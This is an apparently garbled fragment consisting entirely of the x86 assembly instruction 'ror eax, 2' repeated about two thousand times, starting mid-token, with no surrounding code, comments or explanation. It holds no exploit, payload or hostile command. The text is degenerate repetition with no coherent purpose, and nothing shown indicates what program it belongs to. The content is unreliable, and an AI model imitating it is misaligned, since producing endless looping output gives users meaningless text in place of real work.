2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 